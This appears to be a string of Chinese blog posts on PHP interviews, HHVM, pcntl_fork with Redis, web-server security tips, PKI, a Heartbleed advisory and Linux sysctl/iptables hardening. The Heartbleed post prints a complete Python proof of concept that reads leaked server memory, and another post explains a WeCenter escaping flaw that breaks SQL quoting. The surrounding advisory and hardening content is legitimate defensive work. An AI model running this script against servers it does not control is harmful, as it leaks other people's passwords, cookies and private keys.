再说另一个概念问题,他问我有什么数据类型,好吧,当时我真的想不起来了数据类型是啥……问他能不能给个提示,他说“key value”,我还是答不上来……回家一查,原来是数组、字符串、整型等……好吧,要是干了一年 PHP 还不知道数组、字符串等是啥、有什么区别,我真可以回家种地了。但他说数据类型和“key value”,我还真不知道是啥了……好吧,这么简单的问题我竟然答不上来也够丢人的,不过他的提示也够误导人的,要是说数组我绝对明白是啥。以前我还特意研究过类型的转换与比较,要是他问我 if (empty($foo)) 与 if (!$foo) 之间有什么区别,我可以肯定地告诉他没区别,除了当 $foo 未设置时,if (!$foo) 会抛 notice,而 if (empty($foo)) 不会,所以 $_GET[‘bar’] 和 $_POST[‘bar’] 之类的变量要用 empty 或 isset 函数来检查。想起来刚进公司时,一个号称多年 PHP 经验的前辈问我为什么用 empty 和 isset 检查变量,虽然我当时也不知道为什么,因为我是看一个开源项目这么用,也就跟着用了。
还有个闭包问题,闭包到底是啥,看了这么多次定义,我还是没不明白,只知道变量的作用域。负责人问了我任何在 PHP、Python 和 JavaScript 的函数中访问全局变量,我只答上来 PHP 用 global,Python 可以直接访问,JavaScript 没答上来,后来才想起来 JavaScript 也可以直接访问。他又问我 PHP 中除了 global 还有什么方法,我也没答上来。对于要重复使用的变量,我更喜欢使用传参、缓存、数据库或 session、cookie 等方法,或干脆写个函数来封装,从未用过超全局变量。
这些人在面试的时候,如果我答得不对或不好,就不能告诉正确或更好的答案吗,起码告诉我答得对不对,好不好吧……平常看文档的时候,都是只看函数的用法、返回值、报错和示例代码,定义、概念部分往往一带而过,写代码也很依赖编辑器的函数提示,导致很多函数只记得首字母,不看文档基本写不了复杂的代码,这个问题真得改正一下了。
本来就不喜欢跟别人扯淡,来到现在这家公司也没面试什么的,就写了几封邮件稍微了解一下就过来了,真的很烦一次面试要扯一个多小时,这一个小时说的话比我一个星期说的都多,嗓子都干了还不给口水喝。不过面来面去,还是找不到真正靠谱、有前途的公司,言语就像风,在网上喷好歹还能保留一段时间,有些人口中的前景和承诺真就如微风般,毫无存在感。面试时又对薪酬支支吾吾,不敢拍板,真不想再面了……
]]>编译过程没什么坑,照官方 wiki 安装好依赖就行,默认是安装到 /usr/local/hhvm
,如果不想安装到这里,可以在 cmake 的时候添加 -DCMAKE_INSTALL_PREFIX
参数,除此之外好像没什么有用的编译参数。make
的 -j 参数是给多核并行编译用的,后面几个数字代表同时编译的任务数,不带数字代表不限制,CPU 核心多可以不限制,不过大部分普通站长的 VPS 都是单核的,最好不要加。
HHVM 的 FastCGI 跟 PHP-FPM 的基本一致,如果是 nginx 改下 fastcgi_pass
就可以了。HHVM 还兼容 php.ini,所以运行参数也基本不用更改,不过要注意的是,当使用 open_basedir
时,HHVM 会报 RequestInitDocument Not Found
错误,原因没有查到。
hhvm.jit = truehhvm.log.always_log_unhandled_exceptions = truehhvm.log.file = /data/log/php/hhvm.loghhvm.log.header = truehhvm.log.level = infohhvm.log.max_messages_per_request = -1hhvm.log.native_stack_trace = truehhvm.log.no_silencer = truehhvm.log.runtime_error_reporting_level = 22527hhvm.log.use_log_file = truehhvm.pid_file = /var/run/hhvm.pidhhvm.repo.central.path = /data/tmp/.hhvm.hhbchhvm.server.file_socket = /tmp/hhvm.sockhhvm.server.type = fastcgi
上面的参数在官方 wiki 中 Runtime options 都有提到,我也懒得写了。hhvm.log.runtime_error_reporting_level
是用的 php.ini 的默认设置,E_ALL & ~E_DEPRECATED & ~E_STRICT
,32767 - 8192 - 2048 = 22527
,对应的数值可以看这里(不要看中文文档,没更新)。
缓存文件默认在 ~/.hhvm.hhbc
,使用 hhvm.repo.central.path
配置路径。
socket 文件的默认权限是 600,启动后记得改下,这里有个启动脚本。
对于我这种小网站,HHVM 的作用并不明显,测试了下,在不开缓存插件的情况下,打开 wordpress 首页快了大约 300ms。不过 HHVM 的稳定性有很大问题,HHVM 不支持 Zend Framework,当跑基于 Zend Framework 框架的网站时竟然整个进程都 crashed 了。所以在迁移前一定要仔细测试下 HHVM 是否支持当前程序 。
]]>因为是第一次面试,有点紧张,负责人问的问题也没答上来几个,主要是方向不对。他们这次招人主要是招数据处理与存储方向的,问的问题也是有关 redis, memcached 和 hash 的,而我对这些方面知道得不多。然后还问了两个关于 mysql 和 nginx 的优化配置问题,我也没答上来。不过这种东西就算仔细研究过,如果不是专业运维,配置好后谁还天天看啊,这也是我把一些配置文件整理下来,写成博文的原因。
说实话,专业技术类的书籍我是一本都没看过,但每个人都有自己的学习方法,我的方法就是看别人写的代码,根据自己的想法去修改,然后慢慢自己独立动手做,遇到问题就看文档,去搜索。这种方法对我很来说,很有效。再说书里的东西,网上能没有吗?而一些冷门的问题,在书中肯定找不到,但在社区里说不定就有人可能碰到过,这种事情我遇到不止一次了。
其实喜欢折腾,对公司来说并没有什么好处,公司不是招你来学习的,而是招你来干活的,能又好又快地干完活才是最重要的,谁管你会什么。
客观的东西都说完了,再说说我的偏见(真的是……)。
从做人来讲,起码从跟我聊天的这段时间里,这位负责人很 nice,但从“逼格”来讲,这人太“low”了。用 windows 本来没什么,但在 win10 都快出来的时候,他还在用 win7。桌面很乱,电脑也很脏,头发像是一个星期没洗过似的,显示出这人不修边幅。一个程序员,竟然不会翻墙,我实在想不出他在遇到冷门问题的时候是怎么解决的。
他认为写代码是件很枯燥的事情,刚开始可能觉得很有趣,但干得时间长了,就会发现,今年写过的东西,明年还会再写一遍。对于这点,我实在不敢苟同。程序员平时确实会遇到很多重复的需求,但其实每种需求都不尽相同,虽然把原来的代码抄过来再改改也能应付差事,但这样做久了肯定会觉得无聊。
我喜欢重构代码,因为在遇到复杂的需求,第一次写的时候可能考虑得不是很全面,虽然功能实现了,但逻辑可能不太清晰,或者代码不太优雅,又或者效率不是很高,而当你再看这些代码时,实现方法已经心中有数,原本没有考虑到的东西也想到了,这时候重构这些代码,往往要比第一次写得要好,这对于自己又何尝不是一种提高呢。但这位负责人却认为重构代码是件很可怕的事情。
他觉得我简历写得太模糊,不知道我都做过什么,我说您可以看我的 github,我做过什么 github 上都有,他却说没时间一行行看代码。很多程序员都不热爱开源,这可以理解,毕竟是没报酬的事情没几个人愿意干,但是您招程序员连代码都懒得看,难道光听我扯淡吗?再说看看 github 上有什么 repositories,浏览下这人的 commits 真的需要多长时间吗?
当得知工作时间的时候,我基本确定即使当场给我 offer 我也不会入职,他们公司的工作时间是早九点半到晚九点半,每周六天。这对我来说压力实在太大了,加班可以忍,在现在的公司也加班到十点过,但每天都干十几个小时,先不说这公司不把劳动法当回事,这员工的身体能承受吗?在问到工资时,负责人告诉我他现在是 7k,我就明白他们的工资肯定开不高,真不知道这种公司是怎么招到人的。
这次面试对我打击挺大,本以为年轻人的团队会更有激情,没想到这种做移动 APP 的公司,还这么没“情怀”。不过我也从这次面试了解到自己的不足,不光包括数据处理与大型应用架构方面,其他很多一个合格程序员应该掌握的东西,我也确实没有掌握。
换工作是一件值得深思熟虑的事情,我决定不再投简历了,目前这份工作虽然不是十分满意,但对于今天面的这家公司来说要好很多。再加上现在工作也比较轻松,可以做做开源项目,折腾下感兴趣的东西。
以上内容有点偏激,纯属吐槽,如有不适,请使用 CTRL (COMMAND) + W。哦,忘了说了,我不是程序员,我只是编程爱好者。
]]>数据存储用的 redis,在父进程中,与 redis 的通讯没有任何问题,但是在子进程中,与 redis 的通讯就会出现问题,会报类似 PHP Notice: Redis::setex(): send of 47 bytes failed with errno=32 Broken pipe in /data/root/api/lib/db.php on line 44
的错误。
搜索后发现,有人遇到了同样的 bug(http://stackoverflow.com/questions/23713480/after-php-upgrade-pcntl-fork-causing-errno-32-broken-pipe https://github.com/phpredis/phpredis/issues/474),他测试了与 mysql 的通讯,在子进程中并没有问题,怀疑是 redis 的 bug。
既然是子进程的通讯出现了问题,那么在 pcntl_fork
前关闭连接(只有父进程)、在 pcntl_fork
之后关闭连接(父进程和子进程)是否可行呢?测试后发现,果然没再报错,第一个问题解决。
在 php-fpm 中,默认情况下(php-fpm.ini 的默认设置),一个进程(包括 pcntl_fork
产生的子进程)会处理多个请求,所以即使用 exit
结束了脚本,进程也不会退出,pcntl_wait
和 pcntl_waitpid
自然也没用了,只能用 posix_kill(posix_getpid(), SIGTERM);
结束掉当前进程(相当与不带参数的 kill
命令,kill
命令默认发送 SIGTERM 信号)。
虽然子进程结束后,pcntl_wait
和 pcntl_waitpid
都能正常工作,但这两个函数实际上阻塞了父进程,没有起到异步的作用。如果不用这两个函数,当子进程结束时,由于父进程没有回收子进程,导致子进程成为僵尸(defunct)进程,导致系统资源被长时间占用。而且这些进程也不能被 kill
命令结束,只有重启 php-fpm,也就是结束父进程。
要想使父进程不等待子进程,可以通过 pcntl_signal(SIGCLD, SIG_IGN);
或 pcntl_signal(SIGCHLD, SIG_IGN);
(SIGCLD 和 SIGCHLD 都是子进程状态变更的信号,在大部分系统中作用相同;SIG_IGN 忽略该信号)告诉系统:父进程不关心子进程的结束,当子进程结束时,会由 init 进程来回收。
提示:pcntl_signal
是针对父进程设置的,所以在重现这个 bug 时记得重启 php-fpm。
果然像咱这种野生码农,平时实现下需求、做做增删查改没问题,但遇到比较底层的问题就歇菜了。工作中用到的技术都比较常见,也比较保守,要想真正学点东西,还是得靠自己(感谢 Google)。
]]>这一年仍旧是平淡无奇,除了在深圳谋了份差事外也没什么大事,或许是因为我不喜欢改变吧,不知不觉一年就过去了。
来深圳之前,本以为能通过这份工作学到什么东西,但一年下来,发现学习依然是靠自己,指望能从工作中学到什么新技术基本是不可能的。工作更像是作业,只能巩固加深学到的东西,很难学到新的东西。
由于工作需要,经常需要回答一些小白的问题,本来回答问题倒是不怕,可那群小白“不耻下问”的精神真令我佩服,一些搜索引擎就能解决的问题非要来问。
不过这份工作也有好的一面,最大的好处就是使我在经济上能自主了,但其实我对钱看得不是太重,有就花,没有就忍。要维持我可以忍受的生活并不需要多少钱,一台配置一般的电脑,一条网速不慢的宽带,一个用于翻墙的国外 VPS,水电,一日两到三餐,再加上睡觉的地方,即使在深圳,每月也就 3k 左右。但有了钱,诱惑也就跟着来了,总有想买的东西,钱也就总也不够花。
以前学习东西主要靠瞎折腾,边做边学,但是有了工作,瞎折腾的时间变少了,博客也懒得更新了,还停了几个开源项目的维护。回顾一下,发现这一年干的有意义的事反而比 2013 年少了。虽然不能说公司的项目是没意义的,但公司给我的感觉更像是外包公司,在一些程序的功能上也与老板有些分歧。
2015 年我准备做一个新的开源项目——一个简单的 blog,不是什么高大上的东西,主要是学习 python。虽然我并不认为我已经学会了 php,但整天只写一种语言也很无聊。至于有多少人使用,我不太在意,只要自己满意就可以了。希望能坚持到我认为程序已经完美(或者发现代码写得太烂,重构不如推倒重来)为止吧。
随便写了些乱七八糟的东西,吐槽多于总结,或许叫“年终总结”不太合适?
]]>
今天朋友让我帮忙看个 bug,虽然最后 bug 并没找到(程序太乱,还涉及到 ucenter 对接),不过倒是发现了几个很常见的漏洞,很想吐槽他们的运维(兼职的)。
首先,一堆弱密码,连数据库都是,这点就不细说了,无力吐槽。
可能是为了做备份,服务器上有个 config.php.bak 文件。好吧,做备份是个好习惯,但备份不是这么做的啊……像 apache 和 nginx 这样的服务器,是根据文件扩展名来处理文件的,扩展名为 php 的文件会交给 php 来处理,但加上 .bak 后,服务器会以为这是静态文件,从而可以直接读取文件内容,这样,数据库的用户名和密码就全暴露了。所以,做备份的时候,应该命名为 config.bak.php,而不是 config.php.bak。当然,也可以在服务器设置禁止访问所有扩展名为 bak 的文件,nginx 的配置为:
location ~ .*\.bak$ { deny all;}
该服务器上还有个文件是 config.php,这种文件一般是编辑器产生的临时文件(vim 会产生 文件名.swp 的临时文件),因为非正常退出(比如 ssh 断掉)而没有被删除,这种文件同样很危险,因为他们同样会被服务器识别成静态文件(config.php 的扩展名是 php~,不是 php),可以直接读取内容,所以在非正常退出编辑器后,一定要检查是否有临时文件存在。也可以参考上面的配置,禁止访问相应文件。
另外,在 *nix 中,像 .htaccess、.htpasswd 和 .DS_Store 等以 .
开头的文件是隐藏的,用 ls
命令是不可见的,要用 ls -A
才可以看见,但是却可以访问,而这些文件对用户往往不需要读取这些文件,所以我们可以禁止访问这些文件。nginx 的配置为:
location ~ /\. { deny all;}]]>
trim
先上个实例,虽然这个漏洞还没完全公开,但影响不大,直接上 WooYun 的链接。
先看 system/Zend/Db/Adapter/Abstract.php 中的这一段,Zend Framework 自带的数据库语句过滤函数会转义特殊字符,并在字符串前后加上单引号。
return "'" . addcslashes($value, "\000\n\r\\'\"\032") . "'";
再看 /system/aws_model.inc.php 中的这一句,WeCenter 的使用这个函数时去掉了前面加入的单引号,但请注意 trim
及 ltrim
rtrim
会去掉首尾的多个指定字符,而不是只去掉第一个,这在手册中没有提到。
return trim($this->db()->quote($string), "'");
所以,当一开始输入的字符串结尾带单引号时,如 123abc'
经过 _quote
函数过滤就变成了 '123abc\''
,经过 trim 后就变成了 123abc\
,再拼接一下就会导致此字符串后面的符号被转义,SQL 语句出错。
当遇到自己不熟悉的函数时,最好的办法是查手册,如果手册没有详细介绍,应该先实际测试一下,而不是想当然。
现在的程序员大都已经意识到对外来数据的过滤了,但往往是在存数据库时才过滤,而在一些不需要存取数据库的页面(比如用户授权时的回调页面),往往把 $_GET 到的数据直接输出至当前网页。
这样做其实是很不安全的,因为攻击者可能使用短链引诱用户点击其生成的链接,而在 URL 中可能带有脚本,如果这些内容没有经过 HTML 转义就直接输出至网页,就会导致 XSS 攻击。
不过大部分现代浏览器都可以拦截这种攻击了。
所以应该谨慎对待外来数据,哪怕只是原样输出至当前网页。
<script src="value">
的值可以为任意前几天在看一个被入侵的网站的源码时,忽然发现一个很有趣的地方:
src 的地址看起来是个图片,在新标签页打开却不能正常显示,但把它下载到本地,用文本编辑器打开后发现其实是个 js 文件。虽然文件的扩展名是错的,但是浏览器还是能正确解析里面的脚本。
]]>当然,这些企业不会直接使用 OpenSSL 签发证书,一般都是自己开发的系统,目前开源的解决方案有 OpenCA 和 r509 等,但真正算企业级的只有 PrimeKey 的 EJBCA 和 SignServer。EJBCA 是一套全能的 CA 系统软件,可以在浏览器中完成证书的签发与吊销,非常适合企业内部使用;SignServer 是一个用于其他程序进行加密操作的应用程序框架,提供时间戳(符合 Time-Stamp Protocol (TSP) (RFC 3161),最常见的用途是在 Windows 下,对 exe 文件进行数字签名时所需要的时间戳 URL。虽然很多大型的证书颁发机构也提供免费的时间戳服务,但对于追求安全与保密、但又不愿自己开发系统的企业来说,使用开源软件无疑是首选。)等功能。不过这两个程序都是基于 Java 的,我这小破服务器实在跑不动,所以也就没有实际测试。
虽然对一个合格的证书并没有统一的定义,但参考了一些正规的证书颁发机构所签发的证书后,我认为一个合格的证书应具备以下几点:
1. 多级证书结构。即使是某一中间 CA 的私钥泄漏,只要马上吊销它,客户端就能通过 OCSP 和 CRL 了解到这个 CA 已被吊销,从而不再信任该 CA 所签发的证书。
2. OCSP 和 CRL。只有通过 OCSP 和 CRL,客户端才能知道某一证书已被吊销,从而不再信任它。
3. 严格限制证书用途。如果不限制证书用途,那么原本用于 SSL 服务端签名的证书可能会被用于代码签名,一般签发用于 SSL 服务端验证的证书只需要验证域名就可以了,而签发用于代码签名的证书则需要公司的证明文件。
4. 使用安全的加密算法。像 RSA 1024位 算法就已经被破解,虽然普通电脑要破解它需要很长时间,但还是可行的。
下面简单介绍下本站所使用的证书结构,也是最常见的三级证书结构,这些证书都可以从这里找到。
一级为根 CA,包含多种证书用途,建议离线保存私钥并妥善保管,一般签发好二级 CA 后就不再使用。二级 CA 应该严格限制证书用途,但应包含 OCSP Signing(OCSP 签名)用途以签发 OCSP 证书。三级是签发给用户的证书,一般只有一项证书用途,且不能签发其他证书。
OCSP 响应签名(OCSP Response Signing)必须由该级 CA 所签发的 OCSP 证书来做,也就是说根 CA 签发的 OCSP 证书不能对二级 CA 的 OCSP 响应签名,反之亦然。CA 本身也可以用来做 OCSP 响应签名,但这就要求把 CA 的私钥也存储在服务器上,这显然是不安全的。
证书链(Certificate Chains)则应该反过来,即证书 -> 二级 CA 证书 -> 根 CA 证书。
关于实际操作部分,我还没有想好怎么写,因为 OpenSSL 的配置文件和相关命令比较复杂,坑也比较多,一一解释需要很大篇幅,而不解释的话,估计写出来以后,没接触过 OpenSSL 的人根本看不懂。本站的 OCSP 服务器是采用 r509-ocsp-responder 搭建的,我计划在第三篇文章中介绍它。
]]>OpenSSL 在 2014 年 4 月 7 日爆出心脏出血漏洞(Heartbleed Vulnerability),本站也受到了影响,但我已经在第二天(4 月 8 日)通过更新 OpenSSL 的方式修复了漏洞,又在第三天(4 月 9 日)重新购买了 sinosky.org 的 SSL 证书,并 reissue 了 ezdl.it 的证书。
受此漏洞影响的版本有 OpenSSL 1.0.2-beta 及 OpenSSL 1.0.1 - OpenSSL 1.0.1f,您可以通过更新 OpenSSL 至 1.0.1g 版本的方式自行修复此漏洞,修复漏洞后千万不要忘了重启相关的 web 服务(如 Apache、Nginx、Httpd 等)。
Debian、Red Hat Enterprise Linux(及其派生版,如 CentOS、Amazon Linux)和 Ubuntu(及其派生版,如 Linux Mint)等 Linux 发行版已经修复了此漏洞,但没有更改库版本。
Debian、Ubuntu 等:
[sudo] apt-get update[sudo] apt-get dist-upgrade[sudo] apt-get install openssl libssl1.0.0 #安装最新版的 OpenSSL
Red Hat Enterprise Linux、CentOS 等:
[sudo] yum update
此漏洞使攻击者可以获取到被攻击网站的用户密码、cookie、SSL 证书的私钥等敏感信息,所以在修复此漏洞后,您应该立即更新 SSL 证书并通知用户修改密码。
ezdl.it 并不存储您 Google 账户的密码,但 Google 同样受到了此漏洞的影响,所以我仍建议您更改 Google 账户的密码。
您可以使用 Heartbleed test 或以下代码来测试网站是否有此漏洞。
#!/usr/bin/python# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)# The author disclaims copyright to this source code.import sysimport structimport socketimport timeimport selectimport refrom optparse import OptionParseroptions = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')def h2bin(x): return x.replace(' ', '').replace('\n', '').decode('hex')hello = h2bin('''16 03 02 00 dc 01 00 00 d8 03 02 5343 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cfbd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 0000 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 8800 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1cc0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0cc0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 1100 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 0403 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 1900 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 0800 06 00 07 00 14 00 15 00 04 00 05 00 12 00 1300 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 0000 0f 00 01 01''')hb = h2bin('''18 03 02 00 0301 40 00''')def hexdump(s): for b in xrange(0, len(s), 16): lin = [c for c in s[b : b + 16]] hxdat = ' '.join('%02X' % ord(c) for c in lin) pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin) print ' %04x: %-48s %s' % (b, hxdat, pdat) printdef recvall(s, length, timeout=5): endtime = time.time() + timeout rdata = '' remain = length while remain > 0: rtime = endtime - time.time() if rtime < 0: return None r, w, e = select.select([s], [], [], 5) if s in r: data = s.recv(remain) # EOF? if not data: return None rdata += data remain -= len(data) return rdatadef recvmsg(s): hdr = recvall(s, 5) if hdr is None: print 'Unexpected EOF receiving record header - server closed connection' return None, None, None typ, ver, ln = struct.unpack('>BHH', hdr) pay = recvall(s, ln, 10) if pay is None: print 'Unexpected EOF receiving record payload - server closed connection' return None, None, None print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay)) return typ, ver, paydef hit_hb(s): s.send(hb) while True: typ, ver, pay = recvmsg(s) if typ is None: print 'No heartbeat response received, server likely not vulnerable' return False if typ == 24: print 'Received heartbeat response:' hexdump(pay) if len(pay) > 3: print 'WARNING: server returned more data than it should - server is vulnerable!' else: print 'Server processed malformed heartbeat, but did not return any extra data.' return True if typ == 21: print 'Received alert:' hexdump(pay) print 'Server returned error, likely not vulnerable' return Falsedef main(): opts, args = options.parse_args() if len(args) < 1: options.print_help() return s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print 'Connecting...' sys.stdout.flush() s.connect((args[0], opts.port)) print 'Sending Client Hello...' sys.stdout.flush() s.send(hello) print 'Waiting for Server Hello...' sys.stdout.flush() while True: typ, ver, pay = recvmsg(s) if typ == None: print 'Server closed connection without sending Server Hello.' return # Look for server hello done message. if typ == 22 and ord(pay[0]) == 0x0E: break print 'Sending heartbeat request...' sys.stdout.flush() s.send(hb) hit_hb(s)if __name__ == '__main__': main()
央视也在今天(4 月 11 日)曝光了此漏洞,并称多数受影响的网站未告知用户已修复此漏洞,央视的采访还发现大部分网民并不知道或关心这个漏洞。
]]>
谁说编程初学者就不能做出美丽、优秀的程序了?当然,只用今天这个做出来的程序充其量也就算美丽……至于优秀吗,请等更新。
今天新鲜上架的是 MessageBox-7,简易化 Windows 7/8 风格的提示窗口。已经有年数的 MessageBox 在新版 Windows 上调用出来简直不堪入目,Windows Vista 以上系统微软推荐使用的是 Task Dialog,不过想做出来一个像模像样的 Task Dialog 可是比一句话搞定的 MessageBox 难了 N 倍不止。
我就把 Task Dialog 简单化了一下,使初学者能够很轻松地(似乎比 MessageBox 还简单)调出功能强大的提示窗口。
资深程序猿会发现里面混杂着各种不专业和各种缺失,给点儿面子,勿喷!
仅适用于 Windows,特此声明。上链接:Windows 7 风格 MessageBox 附件下载
FAQ:
Pushbullet 就是在“推送”上作了文章,而且还是下足了功夫。Pushbullet 通过 Google 账户登录,目前支持 Windows, iOS, Android 三大平台,还提供 Chrome 浏览器插件给使用其它操作系统的用户。用户在所有平台使用同一账号登录后,可以从任一平台推送几乎任何内容到另一平台。你没看错,几乎是“所有内容”都可以被推送,图片、链接、列表、街道地址等等更不在话下,甚至包括 Windows 桌面上的文件。在收到推送后,Android 和 Chrome 平台会以可扩展通知的方式显示被推送的内容和快捷操作按钮,用户无需进入主程序就可以针对不同通知内容进行不同操作;iOS 受到系统限制,查看和操作推送内容仍需打开应用程序界面。
单一的推送应用见多了,看起来 Pushbullet 并没有什么新意?如果加上好友机制和 IFTTT 支持呢?Pushbullet 的与众不同的亮点之一就是好友机制,只需要输入对方的邮箱地址并互相认证为好友,你们双方就可以互相推送各种内容了。IFTTT 支持是今年二、三月份新加入的功能,结合前几个月另一篇介绍 IFTTT 的文章,大家可以着手建立自己的自动化服务站了,这里不再熬述。
Pushbullet 兴起已经好长时间了。写这篇文章除了最近发现 Pushbullet 加入了 Windows, iOS 和 IFTTT 支持的原因以外,刚看到有一款名为“QPush - 快推”的应用占据了生产力排行榜让我很不爽,就那种只能“推”文字到手机的单一功能应用也好意思说“App Store 生产力工具新品推荐榜第一名”、“破百万五星评价”?让广大 Pushbullet 用户情何以堪?
后记:Pushbullet 在 iOS 上尚不支持 Google 产品的统一账户认证,目前仍然需要通过浏览器单独登录后授权;其它平台未发现此问题。Pushbullet 在 Android 上使用了 Google Cloud Messaging 推送服务,并不借助于常驻后台进程接收推送,请确认行货手机已安装 Google 相关服务框架。
]]>
注意:
下面的所有选项都可以在 Linux Kernel 官方文档(英文)中找到。net.ipv4.*
部分在这里,net.netfilter.*
部分在这里。
请直接修改 /etc/sysctl.conf
,然后使用 sysctl -p
命令载入设置。
所有名字中带“tcp”的选项,都是指的 TCP 连接,下面不再特别说明。
# 同时保持 time-wait 状态的 socket 数量,超过此数目的 time-wait 状态的 socket 会被关闭并打印出错误信息。# 请根据服务端并发连接数和内存大小适当增加这个值。net.ipv4.tcp_max_tw_buckets = 2000# 关闭快速回收 time-wait 状态的 socketnet.ipv4.tcp_tw_recycle = 0# 开启复用 time-wait 状态的 socketnet.ipv4.tcp_tw_reuse = 1# 开启此选项可以防范一般的 SYN flood 攻击。# 注意:syncookies 严重违反了 TCP 协议,可能会对 SMTP 转发等服务造成严重影响。net.ipv4.tcp_syncookies = 1# 记录未收到客户端确认的连接请求的最大值。# 请根据服务器大小和内存大小适当增加这个值。net.ipv4.tcp_max_syn_backlog = 2048# 对于一个新建连接,重复发送多少个 SYN 仍未收到响应后放弃连接。net.ipv4.tcp_syn_retries = 2# 对于客户端发来的新建连接请求(SYN),重复发送多少个 SYN/ACK 仍未收到响应后放弃此连接。net.ipv4.tcp_synack_retries = 2# 请根据网络环境适当调整这两个值,比如:如果服务器在国外,而用户只主要为国内访客,请增加这两个值。# 如果服务器和用户都在内网中,可以把这两个值都设为 0。# 当 keepalive 打开的情况下,多长时间发送一次 keepalive。# 当攻击者建立大量连接后,不发送或回应任何请求,直到 keepalive 时间过后,服务端通过发送 keepalive 才能确认连接已关闭。# 减少这个值可以降低服务器资源浪费,但当正常的长连接过多时,会造成增加服务器负载。net.ipv4.tcp_keepalive_time = 600# 发送 keepalive 的次数,当发送多少个 keepalive 仍未收到响应后,认为放弃连接。net.ipv4.tcp_keepalive_probes = 5# 发送 keepalive 的频率,tcp_keepalive_intvl x tcp_keepalive_probes = 自第一次发送 keepalive 到放弃连接。# 比如每次发送间隔 10 秒,共发送 5 次,如果期间没有收到任何响应,则 50 秒后放弃连接。net.ipv4.tcp_keepalive_intvl = 10# 已被进程断开的连接(此连接不再属于任何进程),如果客户端没有正常响应,以关闭连接,那么在服务端,此连接会一直处于 FIN_WAIT_2 状态。# 此选项设置当多长时间后,放弃此连接。net.ipv4.tcp_fin_timeout = 20# 忽略 ICMP ECHO 请求,也就是禁止 ping。net.ipv4.icmp_echo_ignore_all = 1# 已建立连接的超时时间。减少这个值可以更快速地释放已不用的连接。net.netfilter.nf_conntrack_tcp_timeout_established = 3600
注意不要开启 net.ipv4.tcp_tw_recycle
,原因见这篇文章。
如果需要允许 `ping`,请删除上面的 `net.ipv4.icmp_echo_ignore_all = 1`,并去掉 iptables 规则中的注释。
请使用 iptables-restore
命令载入下面的规则,不要直接使用 iptables
命令。
规则中的 eth0
为可信的内网,eth1
为外网。
*filter-P INPUT DROP-P FORWARD DROP-P OUTPUT ACCEPT-N bad_tcp_packets-N limit_packets-N allowed_tcp_packets-N tcp_packets-N udp_packets#-N icmp_packets-A bad_tcp_packets -p TCP --tcp-flags SYN,ACK SYN,ACK -m state --state NEW -j REJECT --reject-with tcp-reset-A bad_tcp_packets -p TCP ! --syn -m state --state NEW -j DROP-A limit_packets -m hashlimit --hashlimit-name flows --hashlimit-above 50kb/s --hashlimit-burst 100kb --hashlimit-mode srcip --hashlimit-srcmask 24 -j DROP-A limit_packets -m state --state ESTABLISHED,RELATED -j ACCEPT-A limit_packets -m recent --name connections --update --seconds 600 --hitcount 300 --mask 24 -j DROP-A limit_packets -m recent --name connections --set --mask 24-A limit_packets -m connlimit --connlimit-above 10 --connlimit-mask 24 -j DROP-A allowed_tcp_packets -p TCP --syn -j ACCEPT-A tcp_packets -p TCP --dport 52 -j allowed_tcp_packets-A tcp_packets -p TCP --dport 55 -j allowed_tcp_packets-A tcp_packets -p TCP --dport 80 -j allowed_tcp_packets-A tcp_packets -p TCP --dport 443 -j allowed_tcp_packets-A tcp_packets -p TCP --dport 8090 -j allowed_tcp_packets-A udp_packets -p UDP --dport 8090 -j ACCEPT#-A icmp_packets -p ICMP --icmp-type 8 -j ACCEPT#-A icmp_packets -p ICMP --icmp-type 11 -j ACCEPT-A INPUT -p TCP -j bad_tcp_packets-A INPUT -i lo -j ACCEPT-A INPUT -i eth0 -j ACCEPT-A INPUT -i eth1 -j limit_packets-A INPUT -i eth1 -p TCP -j tcp_packets-A INPUT -i eth1 -p UDP -j udp_packets#-A INPUT -i eth1 -p ICMP -j icmp_packets-A FORWARD -p TCP -j bad_tcp_packets-A FORWARD -i lo -j ACCEPT-A FORWARD -i eth0 -j ACCEPT-A FORWARD -i eth1 -m state --state ESTABLISHED,RELATED -j ACCEPT-A OUTPUT -p TCP -j bad_tcp_packetsCOMMIT
上面的大部分选项在中文文档中已有详细说明,只做简要介绍,详细说下里面没有的。
-P
为内建的链设置 target,这个默认的 target 称为“策略”,如果一个包没有被任何规则匹配到,就使用策略。常用的 target 有 ACCEPT:接受包,允许通过;DROP:直接丢弃包,不返回任何信息;REJECT:拒绝包并返回信息,可以使用 --reject-with
设置返回的信息。
INPUT 是入站包,即发往本地的包;OUTPUT 是出站包,即从本地发出的包;FORWARD 是转发包,即不是本地发出且目的地不是本地的包。
-N
设置自定义链,不能与已有的 target 或链重名。
-A
在所选择的链末添加规则。
-p
匹配协议,可用的值有 TCP、UDP、ICMP 或 ALL,也可以是多个值,以半角逗号分隔。
-m
加载 match,比如 -m state
。
state match 匹配状态,共有 4 种,NEW:建立连接的第一个包;ESTABLISHED:已建立连接的包;RELATED:与已建立的(ESTABLISHED)连接有关的包;INVALID:无法识别状态的包,一般直接丢弃。
--tcp-flags
匹配指定的 TCP 标记,有两个参数,都为列表,列表内部用半角逗号分隔,这两个列表之间用空格分隔。第一个参数指定要检查的标记,第二个参数指定在第一个列表中出现过且被设为 1 的标记(第一个列表中其他的标记需为 0)。
--syn
与 --tcp-flags SYN,RST,ACK SYN
等价,检查 SYN、RST 和 ACK,SYN 需为 1,RST 和 ACK 需为 0。
-j
执行具体的操作(ACCEPT、DROP 或 REJECT)或跳转到其他链中
